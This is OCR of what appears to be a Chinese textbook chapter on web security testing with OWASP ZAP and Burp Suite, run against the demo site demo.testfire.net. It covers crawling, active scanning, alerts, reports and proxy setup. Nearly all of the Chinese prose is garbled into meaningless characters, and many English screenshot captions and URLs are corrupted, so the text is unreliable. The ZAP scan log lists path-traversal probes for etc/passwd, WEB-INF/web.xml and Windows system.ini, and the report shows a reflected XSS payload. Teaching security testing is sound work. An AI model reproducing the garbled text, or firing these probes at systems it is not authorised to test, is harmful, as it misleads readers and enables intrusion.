[ £ History [ S Sea Monitor clients b |BreakPoints | ) Active Scan | % ForcedB|
Include Channel Url in Context > :
Site:| demotestire.netd ¢, o channel Url from Contex LN
Req. Timestamp Refresh Sites free Method
Save Raw [ 3
F =
2 Hisiory | S, Search | 8 alens | | | outpu 3 BreakPoints | A Active Scan | * Forced Browse | & PorScan | @ Fuzzer | @ Fumer | 0] Params | <G Hmp Sessions | G ZestResulls | ) cu:nul
% New Scan : Progress: | 1 ntipiidemo.testirenet =/ 11 B | 100% | 4 CumentScans: 0 | URIS Found: 113
Processed | Method |URI

=3 GET hitip-idema, testine net- 507

- GET hittpciidemo. testfire netfrobots. et

- GET Fitlp itdema. t=stfre nettstemap xmi

= GET rtly fidem. testfre nel 0ipr

- GET http-itdema. testfre net Slimages!

= r hittpiidema, testine net-SUdefaul aspo

- GET Fittp itdema testfre nettank

= GET Fittpcitdema. testfire net SUban k200860308 _bakf

- GET Fittp. #dema. testfre net S0ban kiogin asps.

- GET Fitlp: felema. teslTre Al Sban kicustamize aspx

= GET Fitip: #clama, besi e nat Sban Kmesmbserar

= GET hittp-iidem. testtne netS0Mman kmozxpath i

] GET hitp-iidema, testfie net-libankiquenqpath nspx

= GET htpcitdemo. bestre netSiiben s ervensmror aspx

Al 18-49 JEH # URL

1

{I/
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= History | S\

st [demotestr

Port

Delete

Include in Context
Flag as Context

Run application
Exclude from Context

Resend. .
Mew Aleri..

Show in History tab
Open URL in Browser
Copy URLs to clipboard

Exclude from
Braak...

Alerts for this node

Generate anti CSRF test FORM

Invoke with script...
Add to Zest Script

Record Zest client script from node._.

Compare 2 requests
Compare 2 responses

Monitor clients
Include Channel Url in Context
Exclude Channel Url from Context

yYyYyYYyywy

v

™= Funnpzﬂml & Active Scan... |

L] hitp:ihww

#& Spider..
/" Forced Browse site

7" Forced Browse directory

&= Port Scan host
5% AJAX Spider in Scope
S AJAX Spider Site

," Forced Browse directory (and children)

| % BreakPoints | ) Acive Scan | /* For

Refresh Sites free

Save Raw

& 18-50

ERSEXAERE ]

= History | 2 Search | ¥ Alerts | | Outpu | % Spider | 3¢ Break Ponis |2\ Acie Scan @t & | /* Forced Browse | © - PortScan | @ Fuzzer | @ Fuzer | [ Params | =g Hap Sessions | ) Zest Resulls |
& # mew Scan ﬁwn:[ﬂ:mm.ﬁam.nua 0 O o 0% | 4 CumentScans:1| M
| | Req Timastamp | Resp. Timestamp | Method | uRL | Code | Reason
524 05015124408 050115 124413 GET hitpdema.besthire. net 80N cwfyrsradSIZaedhfowmgma ST 403 Farbidden
B25 DRO1INS1244:13 50 1ME 124414 GET hiipdema te stiire.net BN owlwsradSI2zzedhitowgmd S V%650 403 Farbidden
526 08NS 124413 050115 124414 GET hitpaitdermeo. te stire. net BIAC WECWIndows S50 sy shermuinitdet... 400 Bad Requd
527 0SNS5 124414 05M01H5 124416 GET hillp tde o be atfire. net Blic WECelcipasswdidelaull aspx 400 Bad Requd
528 0S01NS 124416 050115 1224416 GET hlpoderma e stlire. net B0/ AVEB-INF%5Cweb smifdefaull as 400 Bad Requd
529 080115124418 050115 124497 GET hitpddema._testhire. net Bic AVindows %SCsystem miidefault... 400 Bad Requd
530 0SNS5 124414 050115 124417 GET hitp¥demo.te stiire. net BON cwhwrsradSi2zzedhiosgmd S6S5C... 403 Forbidden
531 050115 124417 050115 124419 GET hatp:iche o, te sfine. et BOIC fetcipasswdideault asp 400 Bad Requd
532 05MIN5124418 050115 124419 GET hiRpCde 0, b stfire. et BONL. LLLE L L 2S04 LT E NNEB-L,., 403 Forbidden
B33 DEOINS 1Z244:97 050115 124419 GET hiip-ddema te stfire. net BN cwfwrsradSiZzme dhbowgmd S V%50 403 Farbidden
534 05MIN5 124418 050115 12:44-20 GET hitp:iidermeo.te sthine net BN /L ndo. 403 Forbidden
535 050115 12:44:20 050115 124424 GET sty ot £ tfine. Mt BON_{_{ L 0550014 feleipa. 403 Forbidden
536 DS0115 124424 050115 124425 GET hlipotderm lestiire. netBDMGEC %50, %5C. %EC WEC, W50 403 Forbidden
53T 0GDINS 124425 0115 124426 GET hiipddema e sthire.net B0MEC W5, %5C. %EC. W50, WAC, 403 Forbidden
538 050115 1Z244:10 050115 12:44:29 GET hitp:ddemao te stiire. net BN cwhwrs radSiZzze dhbowaqmd S _1LJT 403 Farbidden
339 0SNS5 124420 050115 12:44:30 GET hiftpaitdemeo. te stiire. net BON owhrsradSiZze dhtowg e SELLJL... 403 Forbidden
540 05015174426 050115 124432 GET hiltp g te atfire. nat BOMLEC _%5C. %5C. %EC W50, %S5C. 403 Farbidden

Al 18-51 FIHMAE

18.5.3 HEER

FRFMETR AR Alerts TIR , 0l LIFE BT A #1190 9 e i, a0 18 18-52 fras.
e AE I L IT AN BT AN BR AR R 31 i 45 2R 9 3R 45 el i

[ History | @ Searcn | FAlerts #| | Output | X Break Poi|

¥ (& Alerts (11)
> ﬁ @ Application Emor Disclosure (10)

L ﬁ U X-Frame-Options Header Mot Set (119)
L ﬁ i Absence of Anti-CSRF Tokens (67)

> ﬁ F Cookie set without HitpOnly flag (86)

L ﬁ I Cross-Domain JavaScript Source File Inclusion

> ﬂ Y Information Disclosure - Debug Error Messages (6)
- ﬂ' ! Password Autocomplete in browser (3)

g ﬂ F'Web Browser XS5 Protection Not Enabled (119)

- ﬁ U X-Content-Type-Options Header Missing (120)

» [ ™ Charset Mismatch (60)

» [ ™ WSDL File Passive Scanner (2)

| Alerts o B2 (97 W2

18-52 fHim&GR
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\/

T 0t n] AR JE - TICAT , - By B — > it i, B %5 4 28 g — > Wi i, H ol g —
A4 IDE B2 31 i B A T T8 AT B 335 19 s i

18.6 FIfhth i

18.6.1 IDE HH Alerts
IDE Sy dr 25 R E e an i 18-53 s .

[Eme [Ser | Xes [Pesgs | ) samEE | %o
Qe

¥ B4R (9)
> Ii M Cross Site Scripting (Reflected) (4)
» (B ™ sQL Injection (2)
» ﬁ Fu Application Ermror disclosure (2)
> ﬁ [ Directory browsing (2)
» ﬁ £ Cookie set without HitpOnly flag (57)
> [i L Cross-domain JavaScript source file inclusion (5)

> |i i Password Autocomplete in browser (3)
» ﬁ i X-Content-Type-Options header missing (119)
. [ﬁ P ¥-Frame-Options header not set (78)

=t m2 p2 R4 R

K 18-53 HITHEREHR

18.6.2 HMiIRS
b ] DL S R L an & 18-54 Tk .

File Edit View Analyse Tools Online Help

| Standard mode ) | ] | Export Messages to File... ) =]
® sites | isai Export Response to File...
Export All URLSs to File_..
(= Compare with another Session...
N — Generate HTML Report._
¥ & Scripting Generate XML R prt
v [ 7 Sevinge enerate eport_

& 18-54 /B, Report

T 941 Report K L& 4

(1) Generate HTML Report: A HTML % 2009401 5 e A Z 1 i

(2) Generate XML Report: A4 it XML ¥ =X 40 & r A ZEH e .

(3) Export Message to File: ¥{5 B 5 H 2 ¢4 7 . M History 3T 4 B % £ 2 77 4%
MfE 5. 0] DIiEd & Shift #EHEZ M5B

(4) Export Response to File: T MR {5 B8 ¢4, M History PEI < B %6 £ 55
55,

(5) Export All URLs to File: (A Uik iy URL S i 3 30

Il

—
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(6) Compare with another Session: 5 H 2% L&, X~ 2 3 TR A7 7 LLAT MY
ST,

18.6.3 ZE&HMIMEST

P FE Report—>Generate HTML Report a5 %, T E & &, RGP G0 7 E 4, H B X
A ER L T R KB URL., 280, I fn A 9 A o R EF 45 7 il e 58,
Pl 18-55 fras o X AT Lk 3 T Ui == B4R 22 501, 5 Honl PLiE T A T8 Uil 6 48 B
NN IR B2 . 278 et b2 A VF 2003k A OCHE R0 8 A WP L8 5 DL 1) tha 1 17 HL 3 58 R0 E
T ek 7 s ) ) ) 3 2 Gk fle) 34 Ik 11 2 1 A 48 5 X 4 PR )

ZAP Scamning Report
Summary of Alerts

Risk Level Humber of Alerts

hla

High 6
Medium 4
Laow 155
Infommational 62
Alert Detail

High (Warning) Cross Site Scripting (Reflected)

Description Cross-zite Scnpting (XS5) is an attack technique that invalves echaing attacker-supplied code into a user's browser instance. A browser instance can b
browser object embedded in a software product such as the browser within WinAmp, an R3S reader, or an email client. The code itself is usually wntt
extend to VBScrpt, ActiveX, Java, Flash, or any other browser-supported technology .

When an attacker gets a users browser to execute his/her code, the code will run within the security context {or zone) of the hosting web site. With this lew
to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scrpted user could have his/her account hijacked (cookie thef
location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust rel
site. Apphications utilizing browser object instances which load content from the file system may execute code under the local machine zone allowing for 5

These are three types of Cross-sile Scripting attacks: non-persistent, persistent and DOM-based.

Mon-persistent attacks and DOM-based attacks require a user to either visit a specially crafted link laced with malicious code, or visit a malicious web pag
posted to the vulnerable site, will mount the atiack. Using a malicious form will oftentimes take place when the vulnerable rescurce only accepts HTTP POJ
can be submitted automatically, without the victim's knowledge (e.g. by using JavaScnpt). Upon clicking on the malicious: link or submitting the malicious i
back and will get interpreted by the user's browser and execute. Ancther techmique to send almost arbitrary requesis (GET and POST) s by using an embe

Persistent altacks otcur when the malicioss code is submitted to a web site where it's stored for a period of time. Examples of an attacker's favonite target]

web maill messages, and web chal software. The unsuspecting user is not required to interact with any addifional site/link (e.g. an attacker site or a mali
view the web page containing the code
URL hittp:fidemo_testfire.net/bank/login_aspx
Parameter ued
Attack “=<gonpt=alert(1) </scnpt=
Solution Phase: Architecture and Design 5

Lise a vetted library or framework that does not allow this weakness to ocour or provides constructs that make this weakness easier to avod.

Examples of libraries and frameworks that make it easier 1o generate propery encoded output inclede Microsoft's Ami-XS3S library, the OWASF ESAPI Eng

& 18-55 HEFEMRE

D tRAR

ZAP TE O A EBARE AL #harE FEAHRMBRS M FHiL, Rz b,
fe & ek m NSt XL, ZAP B &AW T iﬁlvﬁiﬁéﬁ%ﬁ%%rﬂ%ﬂi&ﬁ%md#J%ﬁ‘é,%?y’t
Z AN ZAP I AR E T Ay R )5 B g, ki) W %58 i K P A 4 S R et AT R
iLiﬁﬁmﬂ@ﬂ%Mﬁ

WX AT R AFAE B A AT RS AN K R AR RN E R ERAF LMK
&t 35 & AT R AE

ZAP 9 &R T A AT M BN AN E ROINRAEH , EEL A LT H RIS
P, XA AR T ARLEG AR . WFE A ZAPRE T T Web &4 A 1k
% W5 A,

MIAAR TABIEEAAE AR ERRAZE AL ERE, I3 TR XARMNKXEE S B
R SBLIET AR,




SLIG18 B2 ZENIRK TR ZAP 1)l 4k {Is/

WILAE—FRMNEELE, RRAEARE THRGELREAREZSF LEAZ 2K TR, H
AX A ETRIREZELENL S, REAZXENEN ZAP T 1,852 )5 @25 o9 2 b
yE o i R VAL R T E 26 O b

;@3 BRI

i ZAP T HXA 5286 1 A 349 [l ik 17 2 435 3 3, 3 20 B 2%
IRER. “TvAZ http://books. rogisoft. com/wstool P &8 # % &) Web &4 a5 5 i&
s g o iz N B @
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i 24 ") . There's only one corner of the universe you can be sure of

improving « and that's your own self .
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& Burp Suiteill 4x

C %BHM

Burp Suite &M T Web M HBEIFMERFE. E0LF TIF
Z T.H.. Wil FH Bk il Cattack surface) 230 M1 3 548 342 48 I
7 X 26 T HAR T AR 45 G, 25 8 A4 sl ok R At 1 5 K S 4
A S4B Burp Suite T. Hi {72 415 3 Ml . i@
o S A fe] a8 o S S o AR B A K P 5 %Y . Burp Suite
WRERsE K. iEE T LA S I Fihk4,

19.1 Burp Suite FZIJHE

Burp Suite % HHA0E 19-1 Frzs .

S P
——— pr - N

Burp Intruder Repeater Window Hel

Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts |

HTTP history | WebSockets history | Options

Mo proxy listeners are currently running - go to the Options tab to enable a listener

(Raw, rex

l Intercept is on ] Action Comment this item -4 | r.J

L2 {<]{+][>]

0 matches

& 19-1 Burp Suite F¥&H O
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Burp Suite % HZE AT,

(1) Proxy: 2— 28 HTTP/HTTPS MCHAR 55 & . A5 o9 — 12 30 % &% A1 H 45 b H]
OV Z B R, R P 8 A F BB AT ) b R G s i .

(2) Spider: & —1> I FHAE BB 0L 1 ] 268 €t | B BE 5¢ 38 Hb A o R 7 1 N 25 FI D BE

(3) Scanner: JE— PR M T H . $U47)5 68 A3 A B Web L IR ¥ 192 4w 1

(4) Intruder: J&—77% il /0 = BE al lid g T 5, 60 Web Ry # 17 A sh ik Xk,
O bR R AT A T I8 5 DA RSORS00 3K B2 AR 48 00 5 48 T 1) .

(5) Repeater: J&—5¢ T3l 5 M K £ A& B0 9 HTTP 38 5K, 3 20 B B2 A Ty w1z 1)

TH,
(6) Sequencer: Ji=—~ K43 A8 £ A ] F1 540 (1) 7 FH 2 1y 23 04 4 Rt 1 o 28 K040 0 1Y it
IR E =

(7) Decoder: J&—A~ AT F-sh P47 8O0 B A 2 Fye B3 #5868 ik 1% 2 655 110 T .
(8) Comparer: s&—~5: F 1 T H. , 38 7 2l i — 28 A5 5 A9 375 >R H1 0 N 45 5] 44 100 R4 3l
1 —A AL 22577,

19.2 “42%% Burp Suite

19.2.1 IREEX

Burp Suite 75 & AF Java M55 A 0] LIiz{7, T DL B 6% %6 Java JDK ¢ # JRE,Burp Suite
ABEIE® A3, X B Java B FEMAE, FE NI EBINLZ R RIN] | Java &M hE K

Download Burp Suite

O

Please choose the edition of Burp Suite that is right for you. Help me choose » ?
7))
=

Professional 3
Free Edition Edition 2
$299 per user per year E
| | B P
Burp Proxy ¥y
Burp Spider
Burp Repeater

Burp Sequencer

Burp Decoder

Burp Comparer .

L
&
L
L
o
w
L
o
o
o
=

Burp Intruder 0 Time-throttled demo Rd
Burp Scanner (7]
Save and Restore (7]
Search w g Thi
Target Analyzer
g y Q — Bu
Content Discovery (7] pns
Task Scheduler (7] v (8 We
- anrn
Frequent updates, earlier
Rel Schedul M: treleases . Su
elease Schedule (7] Major point release S ———
1 | | .| po
Download "7 he
Buy now </, se

K 19-2 THEEEH
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http://java. sun. com/j2se/downloads. html,

19.2.2 ZETE

£ Windows R4 %% Burp Suite WAEIRW T .,

Yo T B AL 4L Burp Suite free vl. 6. jar. I FE A H M #H#ET% ., FEMbHEA
http://portswigger. net/burp/download. html, & 19-2 /5, H 17 Download now % 4
T EE R AL

TFEIEMG B TR E emd Fi% ¥4 HRZJGIE1T47 4 java -jar burpsuite_
free v1.6.01.jar, 5LBEWE J3 2) Burp Suite,

19.3 [TiERFEMACE

Burp Suite J& Web 30 FHFE P19 R 4F T B2 — 2R D g vl LLHS Bh 6 & A7 %%
FIAT 55, Wi R £ AR E 2 H1 6 Web N 2 1 The il L DA 2% 0 W i 6F 5% 38 B0 PRI T & 1 A
L ZFh AL KA S

Burp Suite f8 5 R0CF M5 A T H— & TAE. 0, —4>d0 w5 b EC SOl B br
R AR A5 B, o B R 9 R 4R T SRR Y TR, AR B HTTP 38 5K A Bz, & nf
DLk 58 ) HABAT =1 Burp Suite T.H. . il , 4810 5 1935 K 0] 8% Intruder FH 2K 4 & —
A E XM A S g uEN , 0] 8 Repeater F 2K F 3 M iks o [R]AE 0] 8% Scanner 2K 2347
i il ol 75 #% Spider HIR A RN . MR P 2 #ah” 217, AR 74 KE1 A
5K, Burp Suite $UT A7 38 i 14 3 K F10 L7 i B A7 % £ ROE 5K, ) sk 3ty 50 3 Pl AH 1oz 5 3
T 56 &40 7/ — 35K BT LLal RLRL—FpaE A AR 18 J7 3k 48 0 fg0% 0w o2 #7250
YO 0T CHOR T SO H bRy D i), 38 58 A sh 313 28 0 AU 35 SR gt e e % 2 e il .

19.3.1 Burp Suite fE2 5 TE#HKTE

Burp Suite ZHFF 310 Web N F#E J7 8 1935 2, ] LA &0t 25 & F 3 J A 31k £
A Al LL5E 24 0 A 1 Burp Suite $047 47 30, FR 82 454 3¢ il € i) oz FH 2 )5 19 1 4 45 B
For#r. B 19-3 itz & Burp Suite B CHEZL A

ACHEE T H Al DIk 2 Burp Suite P38 30 72 190 i , & 0] DL i P03 4% >k 3 a2 #2 Jy L 4ili
RITA M RAT B IR o 5 i — 22 T30,

19.3.2 Burp Suite fig E X IE

FEH 15 {8 H Burp Suite Z 0, 75 Z it ¥ 5 Burp Suite fCHRAH A 2ET, WA 19-4 By
s KK & £E Proxy—Options, #E A B & 00 .
PEFEA M AC B, BN R E 00 4T 0 SR v 11 A v g m] DUAE Bl 11, an i 19-5 Bl .

19.3.3 MNEzFNRIEBEE

£ Burp Suite T. H A& 5 ACHL )5 . AT 24 Windows W Y 4% [ AC & Burp Suite
FARPRAR S A . HARECE kS 18,301 L,
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: N I i |
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| B Eilof | | ) |
| . B ez |V U ggeE |
| FBRI | X 23 i
| |
= e T
| T | ! e |
| B A | A
T — | |
O v e s ’
| EhI R mime |
: X |
: FER L g | ! :
1 WRIAIRIE ' C | IREERE |
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I Bl.ll'p 11 |
: FE T i : : :
|
| | RS |
. X I
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Burp Sl.:ite Free Ed?ﬁgn‘lﬁ p— l (=[] &

Burp Intruder Repeater Window Help

ingetHSpida]Scmner[lnmm]Repeam]mm[Dmm]mmpmm]mmlowms]mm1

[ Intercept

| HTTP history |

WebSockets history H

g

m Proxy Listeners

| Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the
proxy Server.

A

Running | Interface

Invisible | Redirect | Certificate

-

. Edt |
—

127.0.0.1:8080 L]

| CAcetificate ... |

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. You can im
certificate for use in other tools or another installation of Burp.

B 19-4 FECEF M

J»




L1819 BREERINTEIES Burp Suite i)l &

_ —_— =Bl ]

Burp Suite Free Edition v16

Burp Intruder Repeater Window Help
Target ﬁ Spider "Scannnr Thhur.laf TRepeater TSaq.lamer TDecol:lva-r Tﬁﬂmp&l‘ﬂf TE!IEHdﬂfTO[ﬁﬂI‘IS TAlarts ]
I' s . i
I HTTP hi WebSockets hi (
nten:ept{ istory e s history H !

I;| Proxy Listeners

G] Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the
proxy server.

'Y

|
[ Add ]]Ruming | Interface [Invisible | Redirect | Certificate

&  127.0.0.1:8080 8 Per-host

i Edit proxy listener
| Binding | Request handing | Certicate |

?I These settings control how Burp binds the proxy listener.

Remave

Each installatiol
certificate for un]-

[ CA canfcard

[nd topot: 8080

ind to address: @ Loopback only

U All interfaces
E] Intercept Clig () Specific address: L12?.ﬂ‘ﬂ.1 i
Al 19-5 RECEMAH

19.4 Proxy [ H

Burp Suite A TAEERIE TACPEINRE . PEFE Proxy W K, B & 4 1~ F&m K, 4
## Intercept,HTTP history,WebSockets history il Options.,

(1) Intercept ¥R ARz ELEDN, 0 19-6 s, iy Intercept is on %l 0] U
PR EOF R A R . By Forward #%8H nl UK i S7 (19 P9 25 3% [0 31 30 U8 4% , L5 Drop #%
FHIAS 2 e B2 i N 2535 L, By Action 2T o] DA EGGEFEZ R M #:/E. T ) Raw.
Params.,Headers, Hex &I - n] DL ) # fir 875 I P9 25

| Target | prasy. [ Seider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender [ Options [ Averts |

(9]

Forward | Drop | Comment this item

fa] (=] (o] [ | 0 matches
&l 19-6 Intercept T |k

21

\/
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(2) f£ HTTP history @I K HE o] IFEF HTTP &R D2 1 al DLk ag, sk #F 44
HikFEmswe iR AC I EERNIC %, Hid Filter 8, v Ik 36 N 2. W& 19-7
T 718

Burp Intruder Repeater Window Help
[rorse [ v | csmer | e | Aepser | seowarcr | ocsder | compares | extnser | opons | mers |

[ rircert RN WobSoctts oy | Opons |

Fiter: Hiding CSS, image and general binary content

Fitter by request type Fitter by MIME type Fitter by status code
— f Y Y .
] Show only in-scope items [ HTML [ Other text [ 2 [success]
[] Hide tems without responses [ Script [ images [ 3xx [redirection]
[] Show only parameterized requests XML [ Flazh [ 4xx [request arror]
[ css [ Other binary [ Sxx [zerver error]
Fiter by search term Fiter by file extension Fiter by annotation Fiter by listener
r YN N N "
() Show only: | asp,aspx sp,php [ Show only commented items [r—
Port
Re !
U Regex . Py r——— (] Show only highlighted ftems

[] Case sensitive [] Negative search

[smwnlJ[Huul]

K 19-7 HTTP history £

Ve SE ML SR A o ) AT #8 mp 5 sl e AR B ARG 5K, AN 19-8 B

[ rercont R WeeSoctotsetory [ Optons |
Fiter: Hiding C5S, image and general binary content
| Method | URL | Params | Edted | Status |Length | MMEtype | Extension | Titie | Comment
fidemo.testfire. net/
GET ! ol hittp
GET I} = Add to scope
GET ! O Spider from here Altoro Mutual
GET ! O Do an active scan Altoro Mutual
GET Idefault.aspx g Do a passive scan aspx Altoro Mutual
GET Idefault.aspx o Send to Intruder Ctrisl aspx
GET Ippericheck srf O Send to Repeater Cirk+R srf
com GET fapitoolbox/geturl.phpTh=0EB84 AA466. .. (] Send to Sequencer php
GET firiendphotovingg o Send to Comparer (reguest)
POST  lcgi-biniggshow_user_props_info & Send to Comparer (response)
- S Show response in browser -
Request in browser »
| Boquest [ Response |
Engagement tools [ 3
_HWIHWIH“] Show new history window
GET / HTTR/1.1 Add comment
Host: demo.testfire.net _
Prozy-Connection: keep-alive e >
Cache=Control: max-age=0 Delete item
Accept: text/html application/xhtml+xml application/xl ([Clegr history
User-Agent: Mozilla/5.0 (Windows NT &.3; WOWE4) Apple) c URL Chrome,/43.0,.2357.134 Safari/537.38
Aocept-Encoding: gesip, deflace, sdch oy
Arcecept-Language: =zh-CH,zh;g=0.8 Copy as curl command
Cookie: ASP.NET_Sessionld=mdldfadSzS04tyupnriffads; a Copy links
Save item
Proxy history help
] P
19-8 @RIk

(3) £ WebSockets history &I B H T E0% & £ WebSockets 12K . HLIJHER HTTP
history PET K JE L, A Z 09 41 .

(4) Options &I -RAERT P W HETT T4 A3

P dnl DLAERYE &5 & B mRid %, H T 7 Hhb 2 B 55 A Burp, Jf 15 Proxy
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History T, 40 19-9 rs .,

Bu p Suite Professional Proxy Hislory  CA Cerlificale  Plug-n-hack
Proxy History
¢ [Hest [Method URL |Extension [Modified |
[1 (Inttp:#idemo testfire. net |GET W | | |
2 (Inttp:#demo testfire.net [GET | | | |
3 itp:/idemo testfire.net GET | |
4 |nttp-#idemo testfire. net GET | |
5 (http:/idemo testfire_net GET | |
] (Inttp:#demo testfire net GET [/default aspx |aspsx
7 (Inttp:#demo testfire. net [GET |['default aspx asps [
8 (Inttp Mogin live com [GET \lppericheck sif [srt [
2] hitp:ficonfig. pinyin.sogou.com GET ‘-‘apl.‘tuull:lux.'g eturl php? \lphp
h=8E884AA4GG3ACHIAAZCEB4EGFE2945A1 28v=T 6.0 597 8&r=0000_sogo
u_pinyin_7 6.0.5978 1434017887
10 hitp:fishn_photo.gq.com |[GET [Friendphotoiingg | [
[11 (Inttp:ficlient show qg com [POST [Vcai-bin‘qashow_user_props_info | |
12 hitp /ic pc.gg.com GET ‘ Ifemi-binfbusxml?
busid=208supplyid=3007 2&0uid=CQE|CFIzN8Ldyzj5SEF IMC1RGUWE2B
TyL+hpt@gixzExnaw' 3y20xaE diektfoldm=0
[12 [itte:#ws. 5j.99.com |POST |l webservices/getPCDawnOnOf.do?qq=035581149 [ [ |
[14 (Inttp:#img1.5) aq.com |GET |ires/assistant/sdklib/update. ini (lini | |
15 hitp.fic. pc.gg.com GET ‘ fogi-binbusxmil?
busid=20&supplyid=30072&guid=CQE|CF9zNaZdyzi5S6F IMC1RGUWS2B
TyL+hpt9gixzExnaw Iy20xaE diektfofdm=0
[16 [hittp#hws. 55 gq.com [POST |lwebserices/updateCount do ||do [ |

B 19-9 fEWRERPEFIFRICH

19.5 Spider 1. H

Burp Spider J&—4~ [ sh 3B Web R 0 T H . & F) 4 258 68 19 5032 1 4545 5 FH 1
WZEMINRE., M HFEAE HTTP history ¥ —N iR R )5 47 dy 1 £ Spider from here
2 WA 19-10 s, 3 H 0 35 HE 12 705 2 5K 0T 18 P9 25 O I 2 I BIGHE [ L B £ Yes, B2
Jr- 423 PAJIT 326 A A5 IR TR B %5 .

Target Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts

Ilnteri:epft g WebSockets history |0pti:m |

Fiter: Hiding CSS, image and general binary content

Hl'luut | Method | URL |Params | Edited | Status | Length | MIME type
16 hitp:/idemo testfire.net _ GET L U d

hitp./idemo testfire net/

Add to scope

=pider from here

Do an active scan

Send to intruder Ctri+l
Send to Repeater Ctri+R
Send to Sequencer

Send to Comparer

Reguest in browser >

Engagement tools >
Show new history window

Add comment

Params | Headers | Hex Highlight >

—————————————

GET / HTTP/1.1
Host: demo_ testfire net Clear history
Proxy-Connection: keep-alive Copy URL
Cache-Control: max—-age=0
Accept: text/html,application/ i, image/webp , */*;g=0.8

User-Agent: Mozilla/5. 0 (Windg Save item »37 .36 (FHTHML, like Gecko) Chrome/43 . 0.2357.1324 S5
Accept-Encoding: gsip, deflat Proxy history help
Accept-Language: sh-CH,zh;qg=0.

Cookie: ASP.NET Sessionld=tldgc44ivrhkkkiadpxcifss; amSessionld=102&6l0313441

Copy as curl command

E 19-10 FFiRIEH

323

N/
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EAT R, U B Spider $EI R, 7l DA BI04 0 R 2 A7 IR, il 19-11
ez o P o] LS e AE i B i E 4 TE i S ]

[mmewH..{MMfﬁmmemmemmﬂhmwTmmm
fugamy optons |
Spider Status

Use these settings to monitor and control Burp Spider. To begin spidering, browse to the target
/ branch”.

(o

Requests made: 119
Bytes transferred: 1,141,728
Requests queued: 0

Forms queued: 0

Spider Scope
@® Use suite scope [defined in Target tab)
() Use custom scope

& B A8 # A i B

PJ4 3] Target ¥EI0 -5k 0S DLA BINCHEUY 25 5, nf DLAT o FF e B E MR 2e py 25, an 8] 19-12
firn . V43| Scope FHET 0] D& F TE G [F .

19-11

HpmxyTspuanm [ wtruger | Repester | Sequencer | Decoder | Comparer | Extender [ Optons | Alerts |
| stemap [ scoe |
Fiter: Hiding not found tems; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders
» hiip://creativecommons org Host | Method | URL | Params | Status & | Length | MMEtype |
» http-//demo-analytics testfire. net hitp /demo testfire net GET / O 200 9997 HTML Al
http:fidemo testfire.net http-ldemo testfire.net  GET e ML
» hitpciifpdownioad macromedia. com http-/idemo testfire. net GET Ib D hitp:fidemo testfire net/admin/clients. xis HTML o
» httpofkm0tidn_blunted. co uk http-//demo testfire.net GET i Remave from scope HTML A
» hifpiimicrosoft.com hitp-idemo testfire net GET b Spider from here script
» hitpcifschemas.microsoft.com hitp-//demo testfire.net GET ibi Do an active scan HTML A
» hitpoiischemas.xmisoap.org http-//demo testfire net GET /b Doa e HTML Al
» hitpcifwww adobe.com hitp-idemo testfire. net GET /b Send fo . HTML
» hitpcifeww alloromutualcom hitp://demo testfire. net GET Ib Send to - HTML
» hitpoiiwww cert.org T‘L Send o
» hitpoiiwww macromeds.com 2o E R
& hittpcihewiw microsofl. com g Response | ST e
» hiipiiwww.netscape.com Send to Comparer (response) | —
» hitp-iieww newspapersyndications tv ﬂ_i Params T Headers T Hex 1 Show response in browser
* hitp:iiwww.w3.org CET /admin/clients.xls HTTP/L. Request in browser »
» htipcifwrww. watchfire.com Host: demo.testfire.net Engagement tools >
Accept: "yw
Accept-Language: &n Compare site maps
User-Agent: Mozilla/5. 0 (compal Add comment 4;: Trident/s5.0
Connection: close Highlight »
Rafarar: heep://deme.tcasefiras.) |m
Coockie: ASP.NET Sessionld=uubl] Delete tem 3702; amUserId
amCredicOffer=; lang= Copy URL
Copy as curl command
Copy links
Save item
Site map help

& 19-12 JEEEGER
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19.6 Scanner [ H.

19.6.1 Scanner & /48

Burp Scanner J&— 3k H 3l 54k Web i s ) T. 2., Scanner W% it 2 A 7T i 2
Burp M P 8 ahi il TAERL . 45K, o] DLk £ Burp Scanner #8281 A3 23 3 17 F1
i T H— A — 3 U T RO R A S AR 2 8 . 32 A2 9K 2 i 38 T4 3t
Ho i % T B DR s o (ol T ASE oG ] DA 4 o g 2 33 oK i 2 i 7, BB 86 5 B P R B £ 11
BEUR .

Scanner A4 AP MM . Ea R R BRI S SO P G
T 2K 1) AR 55 i 6 K B i3 2K L AR 7 FH P B B o B sl 138 AN 2 1) iR 55 i A 328 8 1Y
T K, T2 AR I8 C A 1918 SR R R e HE Wy o R Sk . BRSO T, T 5 LA ah 14 18 77 =8

w— A

1517,
19.6.2 Scanner E{E

{E Target ZEI K1Y Site map T R el # £ HTTP history #EI K ok i — 4~ F 4L,
H k& 3 Al LLi%EE Do an active scan 3{# Do a passive scan g2 (UL 19-13),
BRI A] - 4w o7 1) 41 8 .

HF‘rux‘_f ]SpﬁerImmrIMTMTMrTMTWﬂrTMTWTnM]
| stemsp | Scope |
Fiter: Hiding not found items; hiding C55, image and general binary content; hiding 4xx responses; hiding empty folders
» hitp:/fcreativecommons.org Host Method | URL | Params i Status & | Length | MIME type | T
> hitp:fidemo-analytics testfire.net hitpfidemo testirenet  GET ! g 200 9857  HTML A
hitp:lidemo. testfire.net hitp/idemo.testfrenet  GET  /admin/plants xie . 1*-Illi:a—l-ctT.
» hitp:/ffpdownioad macromedia com http-//demo testfire net GET mank/ | [ http:iidemo testfire net/adminiclients. xis L del
¥ hitpfkkm0ti0n_blunted. co.uk http-fidemo testfire net CET Ihankfid o P 'L 24
» hitp¥microsoft.com hitp://demo. testfire net GET Jbankim - from
» http:Machemas microsoft.com ;
http:’demo.testfire net GET /bankig {50 80 BCive Scan L
» hitpfischemas. xmisocap.org http:idemo testfire net CET hankis) ) L
» hitpiheww adobe.com hitp-fidemo testfire net GET Ihankft Doay ME L
) ’ Send to Intruder Ctri+l
* http:iherw w . altoromutual.com h'l.'tp.‘ﬂdtﬂlﬁ.t!lt‘li‘e.net GET Tbankitr L
» hitp:fwww cert org -~ Send to Repeater Ciri+R
» hitp:ifwww. macromedia.com Send to Sequencer
